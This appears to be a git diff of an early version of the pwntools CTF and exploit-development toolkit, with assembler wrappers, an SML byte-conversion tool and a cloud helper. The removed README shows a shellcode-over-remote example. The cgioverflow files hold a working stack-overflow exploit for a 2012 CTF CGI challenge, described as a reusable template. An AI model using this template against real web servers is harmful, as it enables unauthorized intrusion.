-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.

MANIFEST.in

@@ -1,9 +0,0 @@
-graft build
-graft examples
-graft extra
-graft travis
-include *.md *.txt *.sh *.yml MANIFEST.in
-recursive-include docs   *.rst *.png Makefile *.py *.txt
-recursive-include pwnlib *.py *.asm *.rst *.md *.txt *.sh __doc__ *.mako
-recursive-include pwn    *.py *.asm *.rst *.md *.txt *.sh
-global-exclude *.pyc

README

@@ -0,0 +1,2 @@
+ 1. Add the `lib' directory to your PYTHONPATH
+ 2. Whine on #pwnies on freenode.net when stuff doesn't work

README.md

@@ -1,55 +0,0 @@
-# pwntools - CTF toolkit
-![pwntools logo](https://github.com/Gallopsled/pwntools/blob/stable/docs/source/logo.png?raw=true)
-
-[![PyPI](https://img.shields.io/pypi/v/pwntools?style=flat)](https://pypi.python.org/pypi/pwntools/)
-[![Docs](https://readthedocs.org/projects/pwntools/badge/?version=stable)](https://docs.pwntools.com/)
-[![GitHub Workflow Status (dev)](https://img.shields.io/github/actions/workflow/status/Gallopsled/pwntools/ci.yml?branch=dev&logo=GitHub)](https://github.com/Gallopsled/pwntools/actions/workflows/ci.yml?query=branch%3Adev)
-[![Coveralls](https://img.shields.io/coveralls/github/Gallopsled/pwntools/dev?logo=coveralls)](https://coveralls.io/github/Gallopsled/pwntools?branch=dev)
-[![MIT License](https://img.shields.io/badge/license-MIT-blue.svg?style=flat)](http://choosealicense.com/licenses/mit/)
-[![Packaging status](https://img.shields.io/repology/repositories/python:pwntools)](https://repology.org/project/python:pwntools/versions)
-[![Discord](https://img.shields.io/discord/809590285687980052?label=Discord&style=plastic)](https://discord.gg/96VA2zvjCB)
-[![Twitter](https://img.shields.io/twitter/follow/Pwntools)](https://twitter.com/pwntools)
-
-Pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.
-
-```python
-from pwn import *
-context(arch = 'i386', os = 'linux')
-
-r = remote('exploitme.example.com', 31337)
-# EXPLOIT CODE GOES HERE
-r.send(asm(shellcraft.sh()))
-r.interactive()
-```
-
-# Documentation
-
-Our documentation is available at [docs.pwntools.com](https://docs.pwntools.com/)
-
-A series of tutorials is also [available online](https://github.com/Gallopsled/pwntools-tutorial#readme)
-
-To get you started, we've provided some example solutions for past CTF challenges in our [write-ups repository](https://github.com/Gallopsled/pwntools-write-ups).
-
-# Installation
-
-Pwntools is best supported on 64-bit Ubuntu LTS releases (18.04, 20.04, 22.04, and 24.04).  Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).  
-
-Python3 is suggested, but Pwntools still works with Python 2.7.  Most of the functionality of pwntools is self-contained and Python-only.  You should be able to get running quickly with
-
-```sh
-sudo apt-get update
-sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
-python3 -m pip install --upgrade pip
-python3 -m pip install --upgrade pwntools
-```
-
-
-However, some of the features (assembling/disassembling foreign architectures) require non-Python dependencies.  For more information, see the [complete installation instructions here](https://docs.pwntools.com/en/stable/install.html).
-
-
-# Contribution
-
-See [CONTRIBUTING.md](CONTRIBUTING.md)
-
-# Contact and Community
-If you have any questions not worthy of a [bug report](https://github.com/Gallopsled/pwntools/issues), join the Discord server at https://discord.gg/96VA2zvjCB

SECURITY.md

@@ -1,32 +0,0 @@
-# Security Policy
-
-## Supported Versions
-
-| Version       | Supported          |
-| ------------- | ------------------ |
-| latest dev    | :white_check_mark: |
-| latest beta   | :white_check_mark: |
-| latest stable | :white_check_mark: |
-| anything else | :x: |
-
-## Reporting a Vulnerability
-
-The aim of pwntools is exploiting software vulnerabilities, which is an unusual position, but it nevertheless can have its own security issues.
-Especially that an attacker (=re-victim) is usually not prepared to be attacked back (by the re-attacker).
-
-The first question to ask yourself is: is this an actual vulnerability?
-- can it be triggered by a re-attacker (malicious honeypot pretending to be a vulnerable service)?
-- does it impact the attacker (=re-victim)?
-- is it serious?
-  * *availability: medium* means *at least* exhausting RAM or disk space of the attacker (=re-victim)
-  * *confidentiality: medium* means *at least* reading the filesystem of the attacker (=re-victim)
-  * *integrity: medium* means *at least* performing uncontrolled actions or data corruption on behalf of the attacker (=re-victim)
-  * if crucial for some sophisticated exploit chain, it is always serious
-  * `safe_eval` bypasses **are** serious.
-  * an example of what was **kind of** serious: [#1732](https://github.com/Gallopsled/pwntools/pull/1732)
-- can it be fixed without compromising on Pwntools' usability?
-
-If at least one of the answers is no, then this is NOT a vulnerability, so just file a bug report or feature request, without the weird confidential disclosure dance.
-
-Just e-mail the maintainers.  Arusekk is the one that is currently the most excited to fix vulnerabilities.
-Or create a CTF task!  Prove a point the good old hacker way!

TESTING.md

@@ -1,44 +0,0 @@
-# Testing
-
-Pwntools makes extensive use of unit tests and integration tests to ensure everything is in working order, and no regressions occur.
-
-## Test Suite
-
-To run the test suite, it is best to use Ubuntu 12.04 or 14.04, and run the following commands.  **Be aware** that this will add a user to the machine, and create a public key for SSH login!
-
-```sh
-bash travis/install.sh
-bash travis/ssh_setup.sh
-pip install --upgrade --editable .
-PWNLIB_NOTERM=1 make -C docs doctest
-```
-
-## Testing in Docker
-
-A `Dockerfile` has been provided which has a clean testing environment with Ubuntu Xenial.  It is very similar to the online Travis CI testing environment, but uses a more modern version of Ubuntu.
-
-See `travis/docker/README.md` for more information.
-
-## New Tests
-
-To add a new test to an existing module, just add an inline doctest.  If the test needs access to an external module, add the import statement to the `testsetup` block in the corresponding file in `docs/source/<module>.rst`.
-
-To add an entirely new module, create a new `module.rst` and add it to the list in `index.rst`.  The best way to see if your tests are actually being run is to add an intentionally-failing test like:
-
-```py
->>> assert False
-```
-
-## Example Test Module
-
-The module `pwnlib.testexample` exists to demonstrate how everything is tied together.  The only files which were modified to add this example module and run its tests automatically are:
-
-- `pwnlib/testexample.py`
-- `docs/source/testexample.rst`
-- `docs/source/index.rst`
-
-## Shellcode and ROP
-
-These are both less easy to test, as they require actually executing code, or loading real binaries.  In order to make the process simpler, the `runner` library was created to wrap common tasks.  For an example of testing shellcode with these helpers, see [exit.asm](pwnlib/shellcraft/templates/i386/linux/exit.asm).
-
-Additionally, for loading ELF files on-the-fly, the helpers `ELF.from_bytes` and `ELF.from_assembly` are available.

asm/asm

@@ -0,0 +1,54 @@
+#!/usr/bin/python
+
+import argparse, tempfile, sys, subprocess, os
+
+parser = argparse.ArgumentParser()
+parser.add_argument('lines', metavar='line', nargs='*', help='Lines to assemble. If none are supplied, use stdin')
+parser.add_argument("-b", "--bits", help="The assembly mode", choices=[16,32,64], default=32, type=int)
+parser.add_argument("-f", "--format", help="Output format (defaults to hex for ttys, otherwise raw)", choices=['raw', 'hex'])
+parser.add_argument("-o", metavar='file', help="Output file (defaults to stdout)", type=argparse.FileType('w'), default=sys.stdout)
+parser.add_argument("-O", metavar='level', help="Optimization options to pass to nasm", choices = ['0', '1', 'x'], default='x')
+args = parser.parse_args()
+
+if args.format == None:
+    if args.o.isatty():
+        args.format = 'hex'
+    else:
+        args.format = 'raw'
+
+tmp = tempfile.NamedTemporaryFile(suffix='.asm')
+tmpname = tmp.name
+
+tmp.write('[BITS %d]\n' % args.bits)
+
+if len(args.lines) > 0:
+    tmp.write('\n'.join(args.lines))
+else:
+    tmp.write(sys.stdin.read())
+
+tmp.flush()
+
+try:
+    retval = subprocess.call(['nasm', '-O' + args.O, '-o', tmpname + '.out', tmpname], stdout=sys.stderr, stderr=sys.stderr)
+    tmp.close()
+
+    if retval != 0:
+        sys.exit(retval)
+
+    with open(tmpname + '.out') as f:
+        output = f.read()
+
+    if args.format == 'raw':
+        args.o.write(output)
+    elif args.format == 'hex':
+        args.o.write(output.encode('hex') + '\n')
+    else:
+        raise Exception("Unknown output format") # This really shouldn't happen
+
+    args.o.flush()
+
+finally:
+    try:
+        os.unlink(tmpname + '.out')
+    except:
+        pass

asm/disasm

@@ -0,0 +1,19 @@
+#!/usr/bin/python
+
+import argparse, tempfile, sys, subprocess, os, readline
+
+parser = argparse.ArgumentParser()
+parser.add_argument('hex', metavar='hex', nargs='?', help='Hex-string to disasemble. If none are supplied, then it uses stdin in non-hex mode.')
+parser.add_argument("-b", "--bits", help="The disassembly mode", choices=['16','32','64'], default='32')
+args = parser.parse_args()
+
+tmp = tempfile.NamedTemporaryFile(suffix='.bin')
+tmpname = tmp.name
+
+if args.hex != None:
+    tmp.write(args.hex.decode("hex"))
+else:
+    tmp.write(sys.stdin.read())
+
+tmp.flush()
+sys.exit(subprocess.call(['ndisasm', '-b' + args.bits, tmpname], stdout=sys.stderr, stderr=sys.stderr))

bin/asm

@@ -0,0 +1 @@
+../asm/asm

bin/binvis

@@ -0,0 +1 @@
+../visualization/binvis.py

bin/bytes

@@ -0,0 +1 @@
+../bytes/bin/bytes

bin/crop

@@ -0,0 +1 @@
+../crop/bin/crop

bin/cyclic

@@ -0,0 +1 @@
+../cyclic/cyclic

bin/demo32

@@ -0,0 +1 @@
+../demo/demo32

bin/demo64

@@ -0,0 +1 @@
+../demo/demo64

bin/dictgen

@@ -0,0 +1 @@
+../dictgen/dictgen

bin/disasm

@@ -0,0 +1 @@
+../asm/disasm

bin/gadgets

@@ -0,0 +1 @@
+../gadgets/gadgets

bin/getdata

@@ -0,0 +1 @@
+../pil/getdata

bin/hex

@@ -0,0 +1 @@
+../hex/hex

bin/mags

@@ -0,0 +1 @@
+../mags/mags

bin/nops

@@ -0,0 +1 @@
+../nops/nops

bin/peek

@@ -0,0 +1 @@
+../poke/peek

bin/poke

@@ -0,0 +1 @@
+../poke/poke

bin/randomua

@@ -0,0 +1 @@
+../randomua/randomua

bin/scramble

@@ -0,0 +1 @@
+../scramble/scramble

bin/setdata

@@ -0,0 +1 @@
+../pil/setdata

bin/shellcraft

@@ -0,0 +1 @@
+../shellcraft/shellcraft

bin/unhex

@@ -0,0 +1 @@
+../unhex/unhex

bin/wrap32

@@ -0,0 +1 @@
+../wrap/wrap32

bin/wrap64

@@ -0,0 +1 @@
+../wrap/wrap64

binutils/build.sh

@@ -0,0 +1,23 @@
+#!/bin/bash
+
+# This script was used to generate the binaries in this folder
+# Its mostly untested and probably assumes stuff about the system it runs on
+#
+# USE WITH CAUTION
+
+if [ -z "$1" ]; then
+  echo "Usage: $0 target"
+  exit 0
+fi
+
+TARGET="$1"
+
+export CFLAGS="-m32 -Os -fno-exceptions -fno-asynchronous-unwind-tables -fno-unwind-tables -ffunction-sections -fdata-sections -Wl,--gc-sections -Wno-error=unused-but-set-variable -Wno-error=format-security"
+export MAKEFLAGS='-j 4'
+cd ~/src; rm -rf binutils-"$TARGET"-build; mkdir binutils-"$TARGET"-build; cd binutils-"$TARGET"-build/
+time { ../binutils-2.22/configure --disable-libquadmath  --disable-libquadmath-support --disable-nls --enable-no_exceptions --enable-no_rtti  --disable-ppl-version-check --disable-cloog-version-check  --disable-foo --without-fp --disable-intl --disable-gprof --disable-ld --target="$TARGET"-linux; make; make; } || exit 1
+for f in gas/as-new binutils/objdump binutils/objcopy; do
+  strip -s --strip-all --remove-section=.comment --remove-section=.note $f
+  upx -qqq --best --ultra-brute $f
+  du -hs $f
+done

bytes/Makefile

@@ -0,0 +1,4 @@
+.PHONY: all
+all:
+	premlton src/bytes.mlb
+	mv src/bytes bin/bytes

bytes/src/Log.sig

@@ -0,0 +1,16 @@
+signature Log =
+sig
+  datatype level = Debug
+                 | Verbose
+                 | Chatty
+                 | Normal
+                 | Quiet
+  val setLevel : level -> unit
+  val setIndentation : int -> unit
+  val indent : int -> unit
+  val debug : string -> unit
+  val verbose : string -> unit
+  val chatty : string -> unit
+  val normal : string -> unit
+  val warning : string -> unit
+end

bytes/src/Log.sml

@@ -0,0 +1,49 @@
+structure Log :> Log =
+struct
+datatype level = Debug
+               | Verbose
+               | Chatty
+               | Normal
+               | Quiet
+
+val level = ref Normal
+val ind = ref 0
+
+fun setLevel l = level := l
+
+fun setIndentation n = ind := n
+
+fun indent n = ind := (!ind + n)
+
+fun print s = if !ind > 0
+              then println (String.spaces (!ind) ^ s)
+              else println s
+
+fun debug s =
+    if !level = Debug
+    then print s
+    else ()
+
+fun verbose s =
+    if !level = Verbose
+    then print s
+    else debug s
+
+fun chatty s =
+    if !level = Chatty
+    then print s
+    else verbose s
+
+fun normal s =
+    if !level <> Quiet
+    then print s
+    else ()
+
+fun warning s =
+    (TextIO.output (TextIO.stdErr,
+                    if !level = Quiet
+                    then s ^ "\n"
+                    else String.spaces (!ind) ^ s ^ "\n"
+                   )
+   ; TextIO.flushOut TextIO.stdErr)
+end

bytes/src/bytes.mlb

@@ -0,0 +1,10 @@
+local
+$(SML_LIB)/basis/basis.mlb
+../mylib/MyLib.mlb
+in
+Log.sig
+Log.sml
+
+%pre main.sml
+%pre go.sml
+end

bytes/src/go.sml

@@ -0,0 +1,188 @@
+val version = "0.0.1"
+
+fun usage name =
+    map println
+        ["usage: % [options] [file]" <- name
+       , ""
+       , "Options: (default marked by *)"
+       , "  -r, --radix"
+       , "   *a  Auto"
+       , "    b  Binary"
+       , "    o  Octal"
+       , "    d  Decimal"
+       , "    h  Hexadecimal"
+       , "  -u, --unsigned"
+       , "  -p, --plain"
+       , "  -g, --groupsize"
+       , "   *a  Auto"
+       , "    n  Groups of n bytes"
+       , "  -e, --endian"
+       , "   *l  Little"
+       , "    b  Big"
+       , "  -i, --inter-byte-endian"
+       , "    l  Little"
+       , "   *b  Big"
+       , "  -o <file>"
+        ]
+
+fun printVersionAndExit () = (println ("bytes version " ^ version)
+                           ; OS.Process.exit OS.Process.success)
+fun printUsageAndExit () = (usage $ CommandLine.name ()
+                          ; OS.Process.exit OS.Process.success)
+fun die e = (Log.warning e ; OS.Process.exit OS.Process.failure)
+
+local
+  val radix = ref NONE
+  val unsigned = ref false
+  val plain = ref false
+  val groupsize = ref NONE
+  val endian = ref Little
+  val bendian = ref Big
+  val src = ref NONE
+  val dst = ref NONE
+  fun setRadix x = radix := SOME x
+  fun setUnsigned () = unsigned := true
+  fun setPlain x = plain := true
+  fun setGroupsize x = groupsize := SOME x
+  fun setBendian x = bendian := x
+  fun setEndian x = endian := x
+  fun setSrc x = case !src of
+                   SOME s => raise Fail ("Only one source file allowed \
+                                         \(you already told me '" ^ s ^ "')")
+                 | NONE => src := SOME x
+  fun setDst x = dst := SOME x
+  fun getOpt () =
+      let
+        val src = case !src of
+                    SOME "-" => TextIO.stdIn
+                  | SOME f   => TextIO.openIn f
+                  | NONE     => printUsageAndExit ()
+        val dst = case !dst of
+                    SOME f => TextIO.openOut f
+                  | NONE   => TextIO.stdOut
+      in
+        (!radix, !unsigned, !plain, !groupsize, !endian, !bendian, src, dst)
+      end
+      handle IO.Io {cause = OS.SysErr (desc, _), name, ...} =>
+             raise Fail (desc ^ ": '" ^ name ^ "'")
+in
+
+fun parseArgs args =
+    let open Parser val op >>= = op --> infix >>> ||| --|
+      fun unknownOpt k v =
+          raise Fail ("Unknown option (%): %" <- k <- v)
+      val args =
+          List.concatMap
+            (fn arg =>
+                case explode arg of
+                  #"-" :: c :: cs =>
+                  if c <> #"-" andalso not $ null cs
+                  then [String.substring (arg, 0, 2)
+                      , String.extract (arg, 2, NONE)]
+                  else [arg]
+                | _ => [arg])
+            args
+
+      val radix =
+          do tok <- any
+           ; return
+             (case tok of
+                "binary"      => setRadix Bin
+              | "b"           => setRadix Bin
+              | "octal"       => setRadix Oct
+              | "o"           => setRadix Oct
+              | "decimal"     => setRadix Dec
+              | "d"           => setRadix Dec
+              | "hexadecimal" => setRadix Hex
+              | "h"           => setRadix Hex
+              | "auto"        => ()
+              | "a"           => ()
+              | _             => unknownOpt "--radix" tok
+             )
+          end
+
+      val groupsize =
+          do tok <- any
+           ; return
+               (case Int.fromString tok of
+                  SOME n => setGroupsize n
+                | NONE   =>
+                  case tok of
+                    "a"    => ()
+                  | "auto" => ()
+                  | _      => unknownOpt "--groupsize" tok
+               )
+          end
+
+      val endian =
+          any >>>
+              (fn "l"      => setEndian Little
+                | "little" => setEndian Little
+                | "b"      => setEndian Big
+                | "big"    => setEndian Big
+                | tok      => unknownOpt "--endian" tok
+              )
+
+      val bendian =
+          any >>>
+              (fn "l"      => setBendian Little
+                | "little" => setBendian Little
+                | "b"      => setBendian Big
+                | "big"    => setBendian Big
+                | tok      => unknownOpt "--inter-byte-endian" tok
+              )
+
+      fun help ? = (return $ printUsageAndExit ()) ?
+
+      val one =
+          do tok <- any
+           ; case tok of
+               "--radix"             => radix
+             | "-r"                  => radix
+             | "--unsigned"          => return $ setUnsigned ()
+             | "-u"                  => return $ setUnsigned ()
+             | "--plain"             => return $ setPlain ()
+             | "-p"                  => return $ setPlain ()
+             | "--groupsize"         => groupsize
+             | "-g"                  => groupsize
+             | "--endian"            => endian
+             | "-e"                  => endian
+             | "--inter-byte-endian" => bendian
+             | "-i"                  => bendian
+             | "-o"                  => any >>> setDst
+             | "--help"              => help
+             | "-h"                  => help
+             | "-?"                  => help
+             | "--version"           => return $ printVersionAndExit ()
+             | _                     => return $ setSrc tok
+          end
+      val parse =
+          do many' one
+           ; eof
+          end
+    in
+      case Parse.list parse args of
+        Right _ => getOpt ()
+      | Left ({token = SOME x, ...} :: _) =>
+        raise Fail ("Could not parse command line arguments\
+                    \ (failed on '" ^ x ^ "')")
+      | Left _ =>
+        raise Fail ("Could not parse command line arguments")
+    end
+end
+
+fun verify (args as (radix, unsigned, plain, groupsize, endian, bendian, _, _)) =
+    ((if plain andalso (radix = SOME Oct orelse radix = SOME Dec)
+      then raise Fail "Only hex and binary allowed in plain mode"
+      else ())
+   ; Option.map (fn n => if n <= 0
+                         then raise Fail "Groupsize must be strictly positive"
+                         else ()) groupsize
+   ; args
+    )
+
+fun go () =
+    main $ verify $ parseArgs $ CommandLine.arguments ()
+    handle Fail s => die s
+
+val _ = go ()

bytes/src/main.sml

@@ -0,0 +1,226 @@
+fun impossible s = raise Fail $ "Impossible: %" <- s
+
+datatype radix
+  = Bin
+  | Oct
+  | Dec
+  | Hex
+
+datatype format
+  = Plain
+
+datatype endian
+  = Little
+  | Big
+
+fun main (radix, unsigned, plain, groupsize, endian, bendian, src, dst) =
+    let open Parser val op >>= = op -->
+      open (oneOf, noneOf, char, string, strings, whitespace, alphaNum) Text
+      infix 0 |||
+      infix 1 --- |-- --| ^^^ ::: @@@
+      infix 2 >>> >>= ??? produce underlies
+      open IntInf
+
+      fun offset n c = fromInt $ Int.- (ord c, n)
+
+      val bindig =
+          oneOf "01" >>> offset 0x30
+
+      val octdig =
+          oneOf "01234567" >>> offset 0x30
+
+      val decdig =
+          oneOf "0123456789" >>> offset 0x30
+
+      val hexdig =
+          oneOf "0123456789" >>> offset 0x30
+      ||| oneOf "abcdef" >>> offset 0x57
+      ||| oneOf "ABCDEF" >>> offset 0x37
+
+      val bin = many1 bindig
+      val oct = many1 octdig
+      val dec = many1 decdig
+      val hex = many1 hexdig
+
+      fun signed p = do oneOf "-~"
+                      ; (b, _, n) <- p
+                      ; return (b, ~1, n)
+                     end ||| p
+
+      fun valuate (b, s, ns) = s * foldl (fn (d, s) => s * b + d) 0 ns
+
+      fun read strm = Option.map (, strm) $ TextIO.input1 src
+
+      fun write1 b =
+          TextIO.output1 (dst, chr $ Int.fromLarge b)
+
+      fun groups n e xs =
+          (if e = Little then rev else id) (List.take (xs, n)) ::
+          groups n e (List.drop (xs, n))
+          handle Subscript => []
+
+      fun goPlain () =
+        let
+          val groupsize = getOpt (groupsize, 1)
+          (* val radix = getOpt (radix, Hex) *)
+          (* a byte is `n` base `b` digits in `e` endian order *)
+          fun go n b =
+              app write1 o
+              List.concat o
+              groups groupsize endian o
+              map (valuate o (b, 1, )) o
+              groups n bendian o
+              List.concat
+        in
+          case radix of
+            SOME Hex =>
+            do whitespace
+             ; ds <- many $ Lex.lexeme hex
+             ; eof
+             ; return $ go 2 16 ds
+            end
+          | SOME Bin =>
+            do whitespace
+             ; ds <- many $ Lex.lexeme bin
+             ; eof
+             ; return $ go 8 2 ds
+            end
+          | NONE =>
+            do whitespace
+             ; ds <- many $ Lex.lexeme hex
+             ; eof
+             ; return (
+               if List.all (List.all (fn d => d = 0 orelse d = 1)) ds
+               then go 8 2 ds
+               else go 2 16 ds
+               )
+            end
+          | _ => impossible "main.goPlain"
+        end
+
+      fun goAuto () =
+          let
+            val auto = try do strings ["0x", "0X", "\\x", "\\X"]
+                            ; hex >>> (SOME 16, 1,)
+                           end |||
+                       try do d <- decdig
+                            ; ds <- hex
+                            ; char #"h"
+                            ; return (SOME 16, 1, ds)
+                           end |||
+                       try do ds <- oct
+                            ; char #"o"
+                            ; return (SOME 8, 1, ds)
+                           end |||
+                       (* try do char #"0" *)
+                       (*      ; oct >>> (SOME 8, 1,) *)
+                       (*     end ||| *)
+                       try do char #"\\"
+                            ; count 3 octdig >>> (SOME 8, 1,)
+                           end |||
+                       hex >>> (NONE, 1,)
+
+            val num =
+                (if unsigned then id else signed)
+                  (case radix of
+                     NONE     => auto
+                   | SOME Bin => bin >>> (SOME 2, 1,)
+                   | SOME Oct => oct >>> (SOME 8, 1,)
+                   | SOME Dec => dec >>> (SOME 10, 1,)
+                   | SOME Hex => hex >>> (SOME 16, 1,)
+                  )
+
+            fun autosize ns =
+                let
+                  val (min, max) = foldl (fn (x, (min, max)) =>
+                                             if x < min then (x, max)
+                                             else if x > max then (min, x)
+                                             else (min, max)) (0, 0) ns
+                  fun isZero n = sign n = 0
+                  fun log n =
+                      if isZero n
+                      then 0
+                      else Int.+ (1, log (n div 256))
+                in
+                  Int.max(1, if min < 0
+                             then log (max - min)
+                             else log max)
+                end
+
+            fun autobase ns =
+                case List.partition (fn (mbb, _, _) => mbb <> NONE) ns of
+                  (nil, ns) =>
+                  let
+                    val max = foldl IntInf.max 0
+                    val b = max $ map (fn (_, _, ds) => max ds) ns
+                    val b = case (b >= 10, b >= 2) of
+                              (true, _) => 16
+                            | (_, true) => 10
+                            | _         =>  2
+                  in
+                    map (fn (_, s, ns) => (b, s, ns)) ns
+                  end
+                | (ns, _) => map (fn (mbb, s, ns) => (valOf mbb, s, ns)) ns
+
+            val isbits = List.all (fn (b, s, ns) => b = 2 andalso
+                                                    s = 1 andalso
+                                                    length ns = 1)
+
+            (* Negative numbers just work magically *)
+            fun write n x =
+                let
+                  fun loop 0 _ = []
+                    | loop n x =
+                      let
+                        val (b, x') = (x mod 256
+                                     , x div 256)
+                      in
+                        b :: loop (Int.- (n, 1)) x'
+                      end
+                in
+                  case endian of
+                    Little => app write1 $ loop n x
+                  | Big    => app write1 $ rev $ loop n x
+                end
+
+            fun binary ns =
+                let
+                  val groupsize = case groupsize of
+                                    NONE   => 1
+                                  | SOME n => n
+                  val bits = map (fn (_, _, ds) => hd ds) ns
+                  val bytes = map (valuate o (2, 1,)) $ groups 8 bendian bits
+                  val words = List.concat $ groups groupsize endian bytes
+                in
+                  app write1 words
+                end
+
+            fun regular ns =
+                let
+                  val vs = map valuate ns
+                  val groupsize = case groupsize of
+                                    NONE   => autosize vs
+                                  | SOME n => n
+                in
+                  app (write groupsize) vs
+                end
+          in
+            do ns <- many $ match num
+             ; ns := autobase ns
+             ; return (if isbits ns
+                       then binary ns
+                       else regular ns)
+            end
+          end
+
+      val go =
+          if plain
+          then goPlain ()
+          else try (goPlain ()) ||| goAuto ()
+    in
+      Parse.testString go $ TextIO.inputAll src
+      (* test (fn c => "'" ^ str c ^ "'") *)
+      (*      go *)
+      (*      (Option.map (, src) o TextIO.input1) *)
+      (*      src *)
+    end

cgioverflow/README

@@ -0,0 +1,2 @@
+Files used to exploit the CGI binary in the kielbasa challenge from secuinside 2012.
+Can be used as a template for exploiting CGI binaries by stack overflow.

cgioverflow/captcha-do.sh

@@ -0,0 +1,10 @@
+#!/bin/sh
+echo wpxlc7BG > log/1339253868.log
+export REQUEST_METHOD="GET"
+export REMOTE_ADDR=127.0.0.1
+export REMOTE_PORT=4242
+export HTTP_USER_AGENT=awesome
+export QUERY_STRING='q=sent&t_s=133925386800000000000000000000009&v=wpxlc7BG000000000000000000000000xxxxxxxxxxxxxxxxxxxxxxxx1'
+#./captcha.cgi
+gdbserver --once localhost:23946 ./captcha.cgi
+#./handle_sent

cgioverflow/exploit.py

@@ -0,0 +1,19 @@
+#!/usr/bin/env python3
+import sys
+import kielbasa
+
+if len(sys.argv) > 1:
+	ts = bytes(sys.argv[1], 'ASCII')
+else:
+	ts = b'1339253868'
+if len(sys.argv) > 2:
+	v = bytes(sys.argv[2], 'ASCII')
+else:
+	v = b'wpxlc7BG'
+
+f = open('log/'+str(ts, 'ASCII')+'.log', 'wb')
+f.write(v)
+f.close()
+
+(ts_par, v_par) = kielbasa.exploit1_qs(ts, v)
+print(str(kielbasa.request_remote('sent', ts_par, v_par, debug=False), 'UTF-8'))

cgioverflow/kielbasa.py

@@ -0,0 +1,104 @@
+import socket
+import re
+import struct
+import os
+import sys
+from subprocess import Popen
+from subprocess import PIPE
+
+def is_digit(c):
+	return not b'ERROR t_s digit' in request('sent', bytes([c]), None)
+
+def _make_querystring(q, t_s = None, v = None):
+	qs = b'?q=' + bytes(q, 'ASCII')
+	if t_s != None:
+		qs += b'&t_s=' + t_s
+	if v != None:
+		qs += b'&v=' + v
+	return qs
+
+def request(q, t_s = None, v = None, useragent = None, remote=True, debug=False):
+	if remote:
+		return request_remote(q, t_s, v, useragent)
+	else:
+		return request_local(q, t_s, v, useragent, debug)
+
+
+def request_remote(q,t_s = None, v = None, useragent = None, debug = False):
+	if debug:
+		path='/cgi-bin/captcha-debug.cgi'
+		host='10.10.10.245'
+	else:
+		path='/captcha/captcha.cgi'
+		host='61.42.25.20'
+	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+	s.connect((host, 80))
+	req = b'GET ' + bytes(path, 'ASCII')
+	req += _make_querystring(q,t_s,v)
+	s.sendall(req + b' HTTP/1.1\r\n')
+	s.sendall(b'Host: ' + bytes(host, 'ASCII') + b'\r\n')
+	if useragent != None:
+		s.sendall(b'User-Agent: '+useragent+b'\r\n')
+	else:
+		s.sendall(b'User-Agent: foobar\r\n')
+	s.sendall(b'\r\n')
+	buf = b''
+	while True:
+		chunk = s.recv(1024)
+		if chunk == b'':
+			break
+		buf += chunk
+	return buf
+
+
+def request_local(q,t_s = None, v = None, useragent = None, debug=False):
+	if debug:
+		args = ['/usr/bin/gdbserver', '--once', 'localhost:23946', './captcha.cgi']
+	else:
+		args = ['./captcha.cgi']
+	env = {
+		'REQUEST_METHOD': 'GET',
+		'REMOTE_ADDR': '127.0.0.1',
+		'REMOTE_PORT': '4242',
+		'HTTP_USER_AGENT': useragent if useragent != None else 'foobar',
+		'QUERY_STRING': _make_querystring(q,t_s,v),
+		'PATH': os.environ['PATH']
+	}
+	p = Popen(args, bufsize = 4096, env = env,
+	          stdin=PIPE, stdout=PIPE, stderr=PIPE)
+	buf = b''
+	while True:
+		chunk = p.stdout.read(1024)
+		if chunk == b'':
+			break
+		buf += chunk
+	return buf
+	
+
+def overflow_qs(t_s, v, user_agent, t_s_buf_pointer, remote_port, name_100_buffer, remote_addr, mmap_flags, use_malloc, pad_ts, pad_v, pad_flags = b'xxx'):
+	overflow_size = b'9' if use_malloc else b'7'
+	t_s_param = t_s + bytes.ljust(pad_ts, 22, b'0') + overflow_size
+	v_param = v + bytes.ljust(pad_v, 24, b'0')
+	v_param += struct.pack('<L', user_agent)
+	v_param += struct.pack('<L', t_s_buf_pointer)
+	v_param += struct.pack('<L', remote_port)
+	v_param += struct.pack('<L', name_100_buffer)
+	v_param += struct.pack('<L', remote_addr)
+	v_param += bytes.ljust(pad_flags, 3, b'x')
+	v_param += struct.pack('B', mmap_flags)
+	if use_malloc:
+		v_param += b'1'
+	return (t_s_param, v_param)
+
+def exploit1_qs(t_s, v):
+	str1_pos = 0x08049701
+	null1_pos = 0x08049734
+	#t_s_buf_pos_bin = struct.pack('<L', t_s_buf_pos)
+	#return overflow_qs(t_s, v, str1_pos, null1_pos, 0x08048E46, str1_pos, 0x08048DEB, 0x32, False, b'', b'')
+	return overflow_qs(t_s, v, str1_pos, null1_pos, 0x08048824, str1_pos, 0x08048DEB, 0x32, False, b'', b'')
+
+def exploit2_qs(t_s, v):
+	str1_pos = 0x08049701
+	null1_pos = 0x08049734
+	#t_s_buf_pos_bin = struct.pack('<L', t_s_buf_pos)
+	return overflow_qs(t_s, v, str1_pos, null1_pos, 0x08048E46, str1_pos, 0x08048DEB, 0x32, False, b'', b'')

cloud/README

@@ -0,0 +1,4 @@
+step 1. run `python registry_server.py -m tcp`
+step 2. run `python server.py`
+step 3. ???
+step 4. profit!

cloud/client.py

@@ -0,0 +1,12 @@
+from pwn import *
+import rpyc
+from rpyc.utils.registry import TCPRegistryClient
+import socket
+
+def cloud(code):
+    hostname = socket.gethostbyname(socket.gethostname())
+    hostinfo, _ = rpyc.discover('CLOUD', registrar = TCPRegistryClient(hostname))
+    ip, port = hostinfo
+    c = rpyc.connect(ip, port)
+    return c.root.doit(code)
+

cloud/registry_server.py

@@ -0,0 +1,51 @@
+#!/usr/bin/env python
+"""
+The registry server listens to broadcasts on UDP port 18812, answering to
+discovery queries by clients and registering keepalives from all running
+servers. In order for clients to use discovery, a registry service must
+be running somewhere on their local network.
+"""
+from optparse import OptionParser
+from rpyc.utils.registry import REGISTRY_PORT, DEFAULT_PRUNING_TIMEOUT
